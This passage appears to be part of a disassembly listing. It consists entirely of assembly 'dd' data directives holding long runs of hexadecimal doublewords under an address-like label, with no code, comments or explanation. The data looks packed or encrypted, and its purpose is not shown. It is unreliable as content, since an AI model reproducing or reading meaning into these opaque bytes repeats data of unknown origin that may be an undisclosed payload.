40CE56B6h dd 50E7D4E0h, 7D7449h, 9AB4BD83h, 0BEC8219Ch, 80F88900h dd 1D11E456h, 0F5B832h, 16877E1Bh, 45A908DAh, 0D5CC2E00h dd 7F28297Ch, 0FF9ECE1h, 89DDD266h, 0E295AA21h, 0E07DDC5Dh dd 6BF7000h, 9CCB16F2h, 444502DBh, 48354C80h, 1C55A8C0h dd 581EE207h, 18A06098h, 38F31B81h, 2284E49Ch, 83DA0FF9h dd 79D80190h, 4300E595h, 8DD8D9B4h, 1E262FE4h, 40935BD3h dd 366A497Dh, 44004D61h, 0FE700D8Ah, 9F4E7B0h, 8FF5DF2Ah dd 5E2D3480h, 0B3E8D499h, 0D37DA000h, 8426A597h, 4C8503DAh dd 9B41240Fh, 25A9FC88h, 7F4D6000h, 45A29051h, 0A8010080h dd 5472360Ah, 43000D31h, 0FD74ABADh, 0BF6563h, 0ED97DBAh dd 8141E56Eh, 85EF2001h, 13DC5A17h, 19D6FCh, 723B9B3Ah dd 705BC15Ch, 0DB3CC61Dh, 4536E70Eh, 0A834519h, 74818D3Fh dd 54FC5DE0h, 0E2FED3h, 697C3506h, 0F93D7996h, 0D2D2300h dd 0A8D342C2h, 0B5D800AFh, 749F471h, 0DB008905h, 0F2DEC798h dd 71A9A10Dh, 0B92E01AEh, 38AA6F60h, 692C70E4h, 0E304D500h dd 80B9219h, 0DA953FC1h, 45F9C917h, 806AA040h, 0A8F5E540h dd 2501F000h, 56BDF150h, 0EF7CA9h, 69387467h, 0F9FA8CDh dd 0BF5A7C0Bh, 0B54881D1h, 0F930DF7Bh, 0C6700EBh, 8056AC1h dd 0E63D58E1h, 7C063BAFh, 7E6F930Bh, 5478A4B6h, 0F07930C0h dd 7C3800F3h, 4DB10BBh, 9906CB2Bh, 0F209D43Bh, 462C00A1h dd 6DE5F677h, 1500A90Fh, 0FD9156E2h, 3C53D01h, 1F1E4434h dd 0FAC8E327h, 0E600DF8Bh, 160C5CE5h, 3AC0940h, 83240EC8h dd 0A2907CCDh, 3600E39Dh, 6BED7DFAh, 76E8D67h, 571476AFh dd 0D4E8407Eh, 0B9000A4Ch, 0D13EBC8h, 3A7CBEh, 2731F636h dd 1BF0D1BCh, 0A6A9D800h, 0ACE96EDDh, 3DFE7338h, 0A804281h dd 28D91C8h, 0F5001470h, 3DA20F5Bh, 404C08h, 0E8C2243Eh dd 1DAA4BECh, 0DE900103h, 0B0C4AE2Dh, 0EDE6FEh, 76B9EF4h dd 0A865CCBDh, 0B0B840FDh dd 7F14E920h, 90EBDBh, 83A84A4h, 770EB766h, 7C5A3A8Ch dd 20FFD018h, 0B200C4C7h, 0B0451C0Dh, 60E61Dh, 9D462A03h dd 35473BDFh, 0ED06090Fh, 4011681h, 0E0F1E73h, 85E52025h dd 88770h, 1C6CA321h, 0E10C454Dh, 30CF357Ah, 3F62A32Ah dd 3A8FD814h, 63580082h, 0F8CAD681h, 88049EEDh, 355CEA9h dd 51030014h, 0AC69D107h, 8CB31100h, 0BF7DADFEh, 0E95C2F7Eh dd 9430FF50h, 0F76820C5h, 0FBE600ABh, 0C2DA1159h, 383EBE96h dd 42809EF4h, 0D19B3640h, 561A86B1h, 0A70190D4h, 4F6607DCh dd 0C0370CA8h, 0B2BD8AE1h, 0F5282307h, 4F03C00Ah, 3F3A2F19h dd 0E299B8E8h, 0E090923Ch, 2DD000A3h, 0F9C1864Fh, 0FC746B7Fh dd 20B9A530h, 3DD30F41h, 4B812694h, 17A91403h, 752D42Eh dd 0C16F4F1Eh, 2B3710B0h, 4D541CD5h, 5F5C7A7h, 0C5C8C03Ah dd 3600DB5Fh, 0F8C1981Dh, 8A4A8Dh, 12FF8B4Fh, 0A7881BEAh dd 5ACA8400h, 222B74EBh, 0AF0B005Fh, 7ACDB507h, 0F47886AAh dd 0F2BE6100h, 334CC941h, 7EF100B3h, 2C847DF6h, 5700024Fh dd 65EE60D8h, 0F645121h, 0BAF26F23h, 56450F20h, 8E134076h dd 9903204Ch, 0F0B637F1h, 301AF0C5h, 0AB1948B7h, 2404BD14h dd 0DE477331h, 0DDB24320h, 33E1990h, 79820322h, 0F9EC966Bh dd 53608558h, 997B03D7h, 0F2416B2h, 0D3F09AABh, 600092CFh dd 0D44ACE6Bh, 0FC54DDh, 2BD2550Dh, 1F516E3Eh, 7DABC901h dd 74944FF1h, 1FE24CC4h, 808A630Dh, 427E5CFFh, 0BAF80475h dd 1E39EF17h, 7CFF14h, 7D1249F6h, 18A1E276h, 104A2E88h dd 790046A6h, 1457D23Fh, 0AEEF82h, 8B9F1DBEh, 0BD8B5ADh dd 0F2BF4B00h, 0B45A3CF1h, 7B453874h, 16A8C700h, 96706222h dd 9C4FD618h, 802008h, 0CC094CA2h, 9E3BD98Bh, 0B80C0B00h dd 919897C2h, 133D3BF1h, 0EEB8FEh, 30456967h, 0A76E50E8h dd 8E04F907h, 0D4F0DC83h, 3509EDh, 0F43E34BAh, 43FEA570h dd 0D5F114B8h, 497F2A7h, 5A48CD61h, 12D26083h, 6AE856ECh dd 0A1003108h, 0D4A4470Ah, 6721C4h, 0B3A04F5h, 0CBDC5D74h dd 0A698830Bh, 316A807Ch, 0FA0965F7h, 6E45009Fh, 13C39B54h dd 0C03F830Eh, 912A8099h, 144A6AA4h, 627F0E98h, 7760511Dh dd 2DE4BFB2h, 0B99F431Dh, 0F8D25C87h, 0C294AE60h, 1C4DE68Bh dd 9DD761h, 0D0F2E56Ch, 2C1CAC80h, 0A040EEDBh, 92E72E83h dd 0BFAD0E90h, 36A0CBE8h, 2C2F0D35h, 420094E6h, 508E4867h dd 0BF52B66h, 0D8EB62C0h, 57001C0Fh, 8EBF1255h, 0CE707E00h dd 79B9CAC6h, 26EC0E82h, 1021194Bh, 0E8B220A6h, 1438F411h dd 98FA0F0Bh, 9000176Dh, 3CA4B707h, 692A0E44h, 0FDC0B319h dd 8478C36Fh, 0CE562201h, 0E0A043E1h, 34961D8h, 9E2381B1h dd 0EBC37B08h, 26B359C8h, 45A1A41Ch, 0EE4D2DC1h, 74C44ECFh dd 0DF9E007Dh, 0C619814Ch, 0EC001D95h, 6993133Ah, 7D0377Fh dd 0B1F4BF99h, 0D3155239h, 7B9DAD40h, 0A6DE7D02h, 8048AF7Eh dd 0BC6286F4h, 0DAB800C8h, 0CBB4AD97h, 0F9068267h, 72F493EFh dd 90E00511h, 0C033DE7Eh, 49FC3779h, 61A7402h, 841EACC1h dd 249191D5h, 1CFCCB85h, 38E0906Ch, 28006623h, 0A78BBA7Bh dd 95005CB2h, 0B001E8E3h, 0BDFFFh, 0CF2E9EFBh, 30408159h dd 0C6E7DD00h, 6D774F42h, 488E005Bh, 0C93E1435h, 49FEFF20h dd 244EDF00h, 0AECD950Ch, 0A3C33A32h, 3503A600h, 0E6292ACh dd 0FB12B61Fh, 9D4FC000h, 0D0C783h, 0B823D1Eh, 966F2D59h dd 28D79C01h, 8A703875h, 10CA3E0h, 0AFB4E9F1h, 0F0DC616Dh dd 73272D45h, 9B976020h, 0AD7C0040h, 117AFBFDh, 1EEEC5AFh dd 0C80E200h, 7D352515h, 0DD660730h, 30A6C4ECh, 918BDF5Eh dd 0B868B914h, 7040094h, 0E55D4FAh, 1EA20051h, 390845B3h dd 1328A4D5h, 2007DD2Eh, 0FA19A733h, 0AAC05137h, 6BB35Bh dd 0C2ABFF18h, 0CCDFE267h, 0F2D8EC01h, 0FC708D6Fh, 3E9962DCh dd 0E081C306h, 808AF08Bh, 2CB7C89Eh, 0F3F61300h, 4E0FB11Dh dd 51963F3Ah, 61A6DA02h, 0C403CAAh, 0B5798A13h, 66AE9000h dd 4D0AA340h, 0D88F0FC2h, 0ADA00BE8h, 35A2E4B9h, 0FF849500h dd 62BFDBFBh, 0D14600C3h, 0F6053EA6h, 0E0005728h, 0A1B29842h dd 1DD873DBh, 0EFB091h, 9A43CE3Bh, 90F6C5DCh, 644AFC00h dd 0F9EAA7E6h, 3C25004Ch, 0B5C8CFCAh, 8A017C22h, 0EF9E6753h dd 0BBECB88Eh, 41EB1331h, 2339063Eh, 9B00A012h, 0F4ACA5A6h dd 0A210B4h, 0A79C1F65h, 94222FD4h, 864D3400h, 0F4A8DC79h dd 6A530029h, 78084F01h, 341DD589h, 41035EE8h, 0C803EF02h dd 38596657h, 0A601BC28h, 6F1EA5D2h, 9017C0B6h, 0CB1D1301h dd 0B4823478h, 122F8BE4h, 7099B5h, 9CB3F272h, 0C5002932h dd 0F40FF16h, 0F7F4EAh, 19D16D2Ch, 0ADD52003h, 5001C500h dd 829C29BCh, 8BCC58A7h, 48782700h, 98DC7CE5h, 33EAE400h dd 0BAED161Eh, 27C000AAh, 3AC9E83Eh, 2C9090C4h, 97E44Ch dd 84DBF6D9h, 401B00Eh, 0EC2205F0h, 4487EED0h, 201E6390h dd 55DD00A3h, 2FBB7E29h, 1600EE17h, 0B9980D77h, 0E56CC3AAh dd 0F9D045EDh, 6392007Eh, 72B6A191h, 0DC00D270h, 0A7B214F2h dd 97CB55h, 51BEF407h, 76243EFCh, 0AB55400h, 39F93109h dd 40F4FEh, 0EB923FEAh, 0AC0157F3h, 5D45DB00h, 565F6C41h dd 0DC490564h, 0AC168073h, 5A4D000Fh, 0E390176h, 0B9B8ABh dd 0F0AEDA45h, 7B5FB85Bh, 5AEF510Bh, 43D8004Ah, 0C62F58h dd 0CE06F84Ch, 54C370B1h, 0DCBD600h, 9BD30E3h, 3781027Ch dd 288BF773h, 8C346EC0h, 0F39CF90Fh, 0E29884EEh, 0D7505081h dd 0A073DD4h, 0BD6CEC54h, 0EA3002A4h, 24409561h, 171EBE7Bh dd 11C0ED25h, 0A823ECDEh, 971D009Eh, 0ABFDDC57h, 1830F781h dd 0B293A0D6h, 0C7B1D5Bh, 0F260078Eh, 0CB41632Bh, 2192ABE0h dd 0A6008076h, 4759EB28h, 774BC56h, 13364322h, 6C3C709Ah dd 99005B66h, 0ECC1348Bh, 3BE6E04h, 8617286Fh, 56809BB5h dd 5300A07Dh, 2B807069h, 147816h, 1FBE071h, 44F9F437h dd 0AD2F5B00h, 73FD81CBh, 68961DD1h, 200FBE9Ah, 0D9A0D8FCh dd 859E6566h, 89F16E02h, 0E0F42412h, 0E2A3A29Fh, 8B213DEBh dd 0BD0DE00h, 5383D297h, 0D803D1F2h, 47ED0EF0h, 0BFC180F8h dd 134300A3h, 0DEB54B78h, 68006B42h, 16E5DA5h, 0E2FC15h dd 518E6D30h, 5FA94CE1h, 4247F900h, 0A65B224Dh, 20E2C1h dd 0DCBBBD43h, 53B80B0Dh, 0ACF4E500h, 1385E18Fh, 0C2E01Fh dd 775A2D43h, 33025994h, 7ECABB0Eh, 0F7E3A7CCh, 0EE1CCB80h dd 0D171009Dh, 0C24C9942h, 0A43F4A7Dh, 74568031h, 27BDC628h dd 8F361F15h, 0E4FE6D1h, 0E307A3A0h, 16D2F09Ch, 8E0F0D86h dd 0A56723h, 8FB52891h, 6A3A0024h, 75E13BB6h, 5F7EC745h dd 48D26400h, 340CA052h, 0F142007Fh, 2D38A199h, 0F5E2A446h dd 0AF889A00h, 42495664h, 0CDDA00CCh, 0DDFD8472h, 613C571Ah dd 92FE00A7h, 9E8745A9h, 6B2B00ECh, 9699B665h, 0B0DD9874h dd 0AAFCBE80h, 4AEEA2h, 4BDF53CFh, 789CB808h, 6454BD00h dd 96DB27DAh, 99610039h, 295715C0h, 6200E83Fh, 6682B088h dd 1DE050D4h, 8027DFEDh, 1954DA80h, 0D80C2655h, 9931361Ah dd 2279829h, 0AB95E30Bh, 2C968A7Eh, 0CB6C4D00h, 0A12E1F8Ch dd 204B5035h, 5FC201D1h, 424E28D4h, 8655E03Fh, 701BB20Ch dd 7CA2056h, 0DC1F53FEh, 9F808C6Ah, 1E7D9658h, 5002B02h dd 99828806h, 19551D4Dh dd 4796C6D2h, 0D81E40A2h, 744009DFh, 713C1497h, 0DBED09B5h dd 0F589BADEh, 994DB08h, 5E01C184h, 0D08856D7h, 0E101EAF8h dd 5DF5CC30h, 8E4043EFh, 7812A6Eh, 2D3BA046h, 805F77E9h dd 0DBB592D5h, 0EEA67C00h, 2B0A75D3h, 0CFE83F9Eh, 0B40D2203h dd 0BC909681h, 0EF00AC15h, 106A510h, 5C4CE0F3h, 640E34E7h dd 6F63D75Fh, 31F81405h, 8500F208h, 609A8F42h, 5F490AFh dd 0F7C14083h, 2AA001E7h, 0D0D4EB70h, 0FF00BDE8h, 13CEF51Fh dd 0E073B56Fh, 524C0633h, 30213998h, 0D700EF7Dh, 20923112h dd 66EC50h, 6DF4C6E1h, 8609EA4h, 0FF011E73h, 0C3D06FF5h dd 0E83015CDh, 7F4014E2h, 380ECC1h, 5B04894h, 0A8595000h dd 0EAFA3616h, 925479A0h, 0C9F8E114h, 747100F3h, 0D05A467Bh dd 0B400AA98h, 0FD68F988h, 0A8B28BB9h, 7B0A3D4h, 23500913h dd 0A783E793h, 36FCD025h, 1901D3EFh, 5D0E9235h, 45C86FCAh dd 0D72E0061h, 412968B6h, 4A3AABC2h, 0B9CC01CBh, 17D03655h dd 0EC641CFCh, 154800FDh, 0E0763004h, 88A0E892h, 0B2004D0Dh dd 778ABC8Dh, 339FD9h, 7D7684ADh, 0A97E8F93h, 0AC980F0Fh dd 0F7E978h, 12D5D38h, 9E57307Bh, 3FAD8926h, 1340F0DEh dd 0B8A6CC37h, 6CAF3F09h, 8D6AD687h, 60235391h, 8CD4B9h dd 634627DBh, 0FD493855h, 84BC45D0h, 6AB0B150h, 0D31D6B01h dd 0CEE43731h, 79810D8h, 9A4719FBh, 8F35500Eh, 0DE00C3BAh dd 7822921Fh, 3D41CC74h, 96800F1Bh, 0B22A345Ch, 9224F6BAh dd 1A00841Ch, 5B36D6F3h, 40450062h, 436DAAABh, 960082A1h dd 0A85833E5h, 3C12BCh, 0E47998CEh, 68CC02F0h, 0E69D5606h dd 1C2853F3h, 4063900Bh, 0B8BD8FA6h, 9275CD71h, 27BE2E07h dd 2531E36Bh, 3F05AA9h, 8430F973h, 29F7037Ch, 0BF3659E1h dd 5A13480Eh, 2C0F209Ah, 0ECC99h, 4260D21Ah, 68D39E39h dd 4EDF8C00h, 0A83A2912h, 60847C58h, 9FF29DBh, 945B54ECh dd 60A25B0h, 0A1396761h, 783961A2h, 5C950091h, 86E92307h dd 984E03D6h, 769B7309h, 9DBACD90h, 75A1C8F3h, 38549F30h dd 71BA33Ch, 0E2B9D0F5h, 0ED445323h, 36B824ABh, 9B005A45h dd 857E46A1h, 769D9Ch, 0E4F0CB4h, 383CFF49h, 0EA00D476h dd 1ABD47E5h, 1343BA02h, 1E6CD5Fh, 8DCEC73Ah, 0C337DD81h dd 0C4E865B0h, 0A8005C79h, 7191A9B1h, 70F0E5F5h, 0FC70232h dd 0C892098Fh, 3510209Ch, 99C16871h, 0E018A07Eh, 9B7B25BDh dd 8CFD2F00h, 21C50320h, 53C20137h, 95C78BB5h, 0CE688306h dd 908DAF7Dh, 0CCA89Bh, 0B82A0C92h, 0F647D525h, 4D9A4000h dd 9D604F0Fh, 282B021Ch, 0B5DED71h, 0CB7AD981h, 0A3088747h dd 6FE38522h, 0E0788226h, 88B356h, 7479F649h, 0D5BBFF81h dd 4B3BA37Ch, 65EB806Dh, 1D12429Dh, 170E0680h, 50C5A2D1h dd 94189B07h, 450BEEBh, 0C031FD92h, 3687A2B0h, 7D06F55Dh dd 0E5E4ECC9h, 99A13FB8h, 148C3903h, 0C81B3FEh, 0C8805CBCh dd 0BED37D08h, 0C598D8A8h, 0D50082FEh, 67599D6Dh, 0A7BFE27h dd 1D2C3848h, 0DE2883F0h, 0D5F8906Eh, 5200FB33h, 5B655D85h dd 799179Ah, 42F2DD13h, 30ABB72Ch, 95D3800Eh, 0D93F7302h dd 60941BF1h, 9D6135h, 0CD83C02Eh, 8951560Eh, 20A13E29h dd 0DB4C66C1h, 360ED90Ch, 602A9C76h, 0DFA7FB10h, 0ED070AECh dd 87D0056Ah, 0D0A2F566h, 3F86CED5h, 0BD59CC1Dh, 0BE263BC5h dd 0FDB8C803h, 0E84F905Ch, 0A21D01F7h, 0EA1E62A0h, 0FE16E458h dd 714BDA03h, 0F8A915DDh, 5499093Ch, 305FCA5h, 30F8A602h dd 7A06D55h, 4F0BBAE6h, 56709FB0h, 0D2800CB5h, 9A0939D0h dd 56155B52h, 3140300Eh, 0C50955B2h, 339D6Ah, 5C5DA724h dd 90300170h, 275B7EBh, 50E8D721h, 0C2B020E7h, 470E8177h dd 94EE5DC6h, 80C33824h, 43F4B22h, 0A2EB64h, 9E5CFA8Dh dd 7249954h, 0E4F8347Ah, 0A9120800h, 164450ABh, 980B0E52h dd 8D40AD46h, 8C2155A7h, 11FA3100h, 974A3AA2h, 0B2122415h dd 1C830F2h, 7A30A1EFh, 1B9E38AAh, 77F1078Eh, 0C0E17058h dd 0ACCDED3Dh, 24C69300h, 0E3557C41h, 8BB1265h, 0C3A000A7h dd 7BF3DDA3h, 91A12100h, 0E6C9478Fh, 84DE1FE0h, 2A9BC06Fh dd 0F690A61Ah, 30D73400h, 0CD6C4938h, 157D9Dh, 5D0C451Bh dd 241D53E9h, 81E3751Dh, 19563600h, 3E86052h, 5C43D73Bh dd 1903396Ch, 77E9427Dh, 3BC9A061h, 0FABA00C6h, 863E2FBDh dd 4A038D1Ah, 3DF56993h, 0B0BCD045h, 0C07CF616h, 3CF06530h dd 9B000CB5h, 4480D593h, 269D68BAh, 0EAACB3h, 37D99E78h dd 0F73053A2h, 8307D976h, 0AC994CDEh, 0F20E1700h, 7BA4AC36h dd 0F91D5807h, 0FEF0AE4Dh, 1202A5h, 59E470Dh, 0BEFDC776h dd 0C1301C77h, 20CB4EE5h, 0B0374C8Eh, 0E46316h, 500458B2h dd 2B0FD154h, 0EE2F310Fh, 270E40CBh, 7B9D5DCh, 40321E85h dd 4F9A033h, 420163EAh, 0AE2B1FCCh, 52E0230Ch, 908EF064h dd 0D5F01DCAh, 60F34120h, 80B408F7h, 19F9C54Ah, 3BEF4h dd 0F61CFE4h, 1E5F4F2Ah, 0A83E0828h, 0FC4CFD00h, 0AE6C6DC6h dd 0E1620091h, 1F3F071Bh, 76268781h, 7C03AD35h, 0E950A9h dd 5F101C88h, 0A581A2Fh, 0FC312603h, 80F9BDB5h, 281EE827h dd 3C07ED5h, 770B3DC8h, 3BB34F6Ah, 0ABD407E0h, 43D0B718h dd 2FD680h, 0AD2DAF96h, 0CA19BBF9h, 6F394904h, 880E552h dd 83378Dh, 41355FB1h, 0FF9880F4h, 6B49BE00h, 0A6BDE491h dd 2200024h, 0B6530E77h, 0BE1C9D6Ch, 57010725h, 5408A483h dd 0E72102C7h, 16306EC1h, 0CE6B240h, 0E4649600h, 0A70D2B28h dd 3493005Bh, 46D5C28Dh, 0E6007567h, 1C823D39h, 0FDF71h dd 0E7A7162Dh, 0F17E989Fh, 533AB81Eh, 0DF54DE80h, 32431F4h dd 0AA6C78E3h, 8BF9195Eh, 0F320806Eh, 751FEE14h, 99FD286Fh dd 12C300FFh, 0DD87F694h, 81C0E93Ah, 0D64EBB53h, 2D6403C7h dd 18849AE5h, 12B637D0h, 32B29600h, 13FD33DBh, 14B97CB3h dd 209D78F7h, 0DFF93F0Fh, 2D9F5340h, 1E0A445h, 0C0DE4130h dd 0A4288A54h, 0F4ED025Ch, 3C132463h, 0B92264E3h, 82791C77h dd 0C48D00F4h, 0E1F95A23h, 0FB2A48h, 0A6FCBF8Bh, 3ED5FDB7h dd 0B1B0473Fh, 64695990h, 17122900h, 3CEDA463h, 0AE6F001Ah dd 0A0F18CFEh, 107631C8h, 56339A00h, 0D3F66B61h, 6CE20030h dd 39362262h, 0D00307B0h, 9BC1BFF7h, 690890CEh, 0A4FD00ACh dd 0F4A1BD0Eh, 3103BB91h, 8BA79E54h, 0FCD78806h, 0C6380076h dd 7AEEDD5Eh, 6E0001CDh, 0DC2F8580h, 3D82FE9Eh, 32804319h dd 410A4F28h, 9307C92Dh, 74A215DEh, 0A870B890h, 913B0079h dd 277CC8EFh, 8A01AF4Bh, 73516825h, 86DC95E3h, 0C16B1F15h dd 494601A3h, 0FC5A922Ch, 810038E7h, 14A5805h, 0C0267923h dd 86FDA420h, 0E810D389h, 0E50CDB22h, 1B598516h, 8AC69600h dd 75361F30h, 41F8A0h, 892EF40Ch, 77E44C43h, 9F0088FCh dd 0A3908AC9h, 3DC2893h, 164D27FEh, 7CE0AC9Ch, 1C266CAEh dd 700FEEAh, 1A655AF5h, 0C31D5C88h, 0E580C207h, 0B59D6087h dd 8409BF27h, 204339h, 0AC7C794Eh, 3DA1C38h, 0DB4FC0F4h dd 0FA7BB4EAh, 62EF2800h, 0FC367216h, 24303F91h, 53517680h dd 7B5FE9CFh, 40222907h, 0DF84A1h, 90DF6D86h, 0F657008Dh dd 0B062B658h, 0C1ECE8ADh, 43D37300h, 0E4523189h, 0C0C707FCh dd 1A4C4227h, 0CB5D00C6h, 99E60C30h, 0D5983Bh, 99B38DDh dd 0E242C778h, 292C00F2h dd 0EE11C1FCh, 1900D75Bh, 0ABC83773h, 751EB8h, 0EB586C17h dd 0BEC93BDBh, 0CA70F502h, 612C4A8Eh, 0D0E329EBh, 37ECC5D5h dd 5020C6F9h, 9F8EB18Bh, 0E9181300h, 0FDE3DD31h, 30E5003Dh dd 1DBC97CBh, 0DA18B6E7h, 1870769Bh, 29583492h, 6CE18058h dd 0C3003F6Bh, 73013630h, 0EFDC16h, 85643991h, 0E08F70B9h dd 2674AC00h, 0ED66E97Fh, 8D2D0042h, 0BEAFFCD3h, 960013E3h dd 0B6A0B499h, 0A4D94110h, 1300418h, 60851E33h, 0ACD94379h dd 0FB5582Ch, 314022Ah, 0BB03FAD9h, 9150A50h, 8330C2B8h dd 0BAFA73h, 0C4941E39h, 245D79B9h, 65B72A1Dh, 0A1648A14h dd 1C4CBDCDh, 5A090319h, 0A12CCA29h, 0E0DB0815h, 69C38138h dd 0F90CFCD3h, 30E2D02Bh, 0E3C77508h, 12A85159h, 6105F36Ah dd 8C2690B6h, 0E3039C68h, 393490DAh, 401F6834h, 8A682384h dd 4218EE94h, 0F882DA99h, 64B868EAh, 85431D63h, 9EEA0C00h dd 215BE1D4h, 0E5645C07h, 0D760FB6Fh, 95BEA4h, 677899EDh dd 0C10572Fh, 92874A1Fh, 0D931FB40h, 5423BECh, 0F1C17106h dd 7920223Eh, 85F7035Fh, 0C840007Ah, 0D92A0C1Dh, 1B7BDA3Dh dd 0BBE38D00h, 217E1C61h, 1140AE92h, 62A7587Dh, 9C8A41h dd 0BF3C543Bh, 88037B37h, 7EB6F040h, 8023A81h, 5BC44852h dd 0FF6A707Fh, 0A80AD27h, 61400525h, 0F48935CAh, 340ABC5Bh dd 88849BBFh, 0A92DB1Fh, 0AD19BC06h, 2D950EE0h, 8CA53BE1h dd 290FBBE3h, 8B7201BFh, 3859417Eh, 947BA085h, 0AA3823CCh dd 0F01D48EBh, 0BB1F80CFh, 0FB00871Eh, 7BE1D646h, 760DF11h dd 957EB05Eh, 0C56470C6h, 398C99E2h, 0BD1D9B0Ah, 7BD0703Bh dd 0BF5A3D72h, 0E30A23ECh, 0E250C6FBh, 0EA388F53h, 0BF991EA9h dd 0E1C04EBBh, 0E940248Ah, 7EFCAD02h, 914A1CA0h, 0A838773Bh dd 0D4F08A23h, 0A6EE38CBh, 2399273h, 2A5E945Dh, 0A48AA330h dd 10905318h, 0A6309B14h, 0CBAD10EDh, 0F6FE016Ah, 0ACCA596Bh dd 3C1C0B8h, 0D408C061h, 0C44B1D6Eh, 0BD683E07h, 308F875Eh dd 0E6548AAh, 67635091h, 54DFB8Fh, 63C10A29h, 14802CD5h dd 0C5775218h, 2BA8EA29h, 8360D567h, 297381DAh, 404A293Eh dd 588FFDDBh, 8071991Bh, 0B67C5F2h, 392A8069h, 0B241A8C4h dd 0DAD200FAh, 0DA10F90h, 58F19774h, 140A7720h, 0AC097F29h dd 5A3B8A00h, 60F99BDBh, 6ADD3089h, 440AE10Eh, 6CA1080Bh dd 0E70D77C0h, 661F00FCh, 88ED56C3h, 0C000BAE4h, 86CC64ADh dd 2CC4A305h, 57F491h, 36C15F9Ch, 0E40E96F6h, 0EA613F7Ah dd 0ACC018BBh, 6BCB6341h, 3E005802h, 20C96C60h, 696EE000h dd 1B3787C1h, 1B1CA6D7h, 5E7AED35h, 3C763804h, 4F836C6Eh dd 0B009AA20h, 10E7EE18h, 10173A6h, 639FD2D6h, 144CCA89h dd 7CB81DE3h, 0C15980F9h, 5B8FF7B6h, 0E50610A8h, 0B29C3E10h dd 5E311603h, 8FC0896Eh, 2353C962h, 0C3A00F28h, 78DC6C07h dd 6BE005F6h, 30F0297Dh, 97B19C2Ch, 0B02BD42Ah, 6EE88815h dd 6779C150h, 51823B13h, 6EFAE236h, 0D9CE0C16h, 96294412h dd 6ED5EA00h, 976970C9h, 6A983AFAh, 27779A0Ch, 9E3A7A68h dd 0A32E0B5Bh, 0AE210564h, 0AB703C20h, 761044EFh, 6D81F803h dd 0A3827749h, 5A6AB029h, 3FDE0309h, 4C44A964h, 4CE869A1h dd 8B1C6860h, 0ECC01063h, 0B323D6C1h, 749A56E4h, 1AD3AB0Fh dd 0B612B4D5h, 89084206h, 50B86C7Ch, 110FDA7h, 160C2CD9h dd 1C90A9ABh, 0D129BDFCh, 158030CBh, 0B67C549Dh, 0F6C10E5Ah dd 69A5AFDAh, 0CD182C45h, 5E594C0Ah, 1D8CD0DEh, 0D4849001h dd 27B03868h, 46203547h, 0F2360A2Dh, 0E074E77Eh, 0C714839Eh dd 8AD41B54h, 0DB33FF07h, 5B410560h, 7BE1EF17h, 0DB06A44Ah dd 0C1610870h, 0D81A7619h, 1D2D330h, 0E130414Ah, 480C2739h dd 0F232648Eh, 0A0B88490h, 0D31B032Ah, 59BBCD5Ch, 0D9B0800h dd 357AEC21h, 0BAE13F30h, 617C66BDh, 4D1B60C1h, 0E845D2F8h dd 0D6AC4281h, 0B600DD78h, 0CD0C2ACFh, 50D12E7Bh, 0E10B0770h dd 402F95DAh, 0CD5F931Ah, 7FE01B01h, 0D8385B0Dh, 76A18887h dd 1F94C336h, 0DC8C901Fh, 34675B00h, 63B93B33h, 0E2AB1008h dd 0C0AA82E7h, 85D72702h, 0A400ED84h, 0E26C40BBh, 13140F5Ah dd 0FA0CDAECh, 9B3A7040h, 0A09C4837h, 24FFC76Fh, 81F0A8FAh dd 1BCF45FEh, 8109BA92h, 0E4DAE06Ah, 0B8D0E27Bh, 0DB361463h dd 20749076h, 1A040C62h, 0E87AE13Eh, 0DCE46170h, 701FBD20h dd 0E0F263F6h, 0F87301EAh, 3AE25400h, 7A95298Ah, 90103AADh dd 1AEC6A61h, 99C50FCh, 9B183673h, 0CBF006CEh, 4C049819h dd 491108A8h, 73FC139h, 0A824D2C2h, 335D0656h, 78E37BCFh dd 0F898FB28h, 1602FA19h, 0FC42A710h, 16865DAh, 0BE765B2Fh dd 3648808Bh, 0FB286949h, 0BB90A11Bh, 5BD139F5h, 0F02AA7C4h dd 5230F98Eh, 0E196047Bh, 8197ED3Ah, 40228C28h, 0E24456C8h dd 0D9DB9A0Eh, 0E74587E0h, 20401A41h, 0A01B1820h, 7830BA88h dd 599A182Eh, 0EBD9A849h, 4DEE40C5h, 46168805h, 4AB9C806h dd 0DBB13A28h, 51C55A0Ch, 28C3C710h, 0A74E7FFAh, 18479383h dd 82B0790h, 0B58144AEh, 9D7AB440h, 0E7E0A13Ch, 0CC5AB841h dd 0BE1918BAh, 87561041h, 47B27A70h, 147C1A43h, 9C6D3A10h dd 51856274h, 888272EEh, 5041FF05h, 0FB882012h, 0DB10C961h dd 408365B6h, 0BAEC4859h, 9C83ACF2h, 0B81BEF30h, 0E638585Ah dd 0B32D2441h, 10CC1814h, 0C2649F7Bh, 5340BA08h, 69DBCF6Fh dd 9B905E50h, 0EE985F50h, 0BA185C90h, 86983D41h, 0FC4A09Dh dd 5ED8C45Dh, 94A48059h, 9B30CF66h, 93DB107Bh, 8240CDEDh dd 86B3F010h, 0B261CC7Ch, 14A73AA0h, 74575020h, 11A1E3Bh dd 489A0605h, 3551D0B9h, 743FD09Ch, 0FE5AE30Ah, 2A18AC28h dd 0C631DA18h, 905B6F81h, 0D4952B28h, 0E8678828h, 37839D1Fh dd 80133E8Ah, 8C15FD00h, 0E8F2589Bh, 127C313Bh, 0ECA04D10h dd 0D47F89DBh, 0BA671B1Eh, 841FBCDh, 183E08F0h, 28637B9Eh dd 0D3633D5Bh, 0E0215508h, 0C7EAD63Bh, 41E48750h, 87C47ADBh dd 0AFF63908h, 0A0F557A3h, 0EAE0B04h, 75EEA4A8h, 20BB4487h dd 0ED329F27h, 630086F4h, 77B9924h, 288889h, 44A4B65Eh dd 4A94EA8h, 8338E06Eh, 0C1AB0F9Dh, 50B8D068h, 0E4A9BD83h dd 280BA7F0h, 7FAFB869h, 0C486810Eh, 84387832h, 0A210E3F3h dd 51901EB7h, 65440685h, 4C0658BBh, 2C5BB31Ch, 74D7E8C8h dd 0DEFCE5h, 0E83B9199h, 4ADBB303h, 84AF1707h, 64408D62h dd 1D8C979Ah, 60AF0FBh, 400D3E1Bh, 8E94431h, 7BF056A4h dd 9192069Eh, 585341BBh, 8202C34h, 398C210h, 0C4A8ABB1h dd 69D91E2Bh, 4CE4067Eh, 0FA2808D1h, 10379CD4h, 0A08C5088h dd 591328DBh, 319A3BC0h, 0EC07A700h, 162C2094h, 0CA01A0E8h dd 0D4804FD5h, 19D04EDDh, 14B7CA6h, 2048266Dh, 304FC565h dd 0E0F0A7EFh, 70A9F948h, 93463Bh, 13E337E7h, 0E8E5D627h dd 8396FC7h, 0F9BC7000h, 0A69F167h, 4F720010h, 1476AAE0h 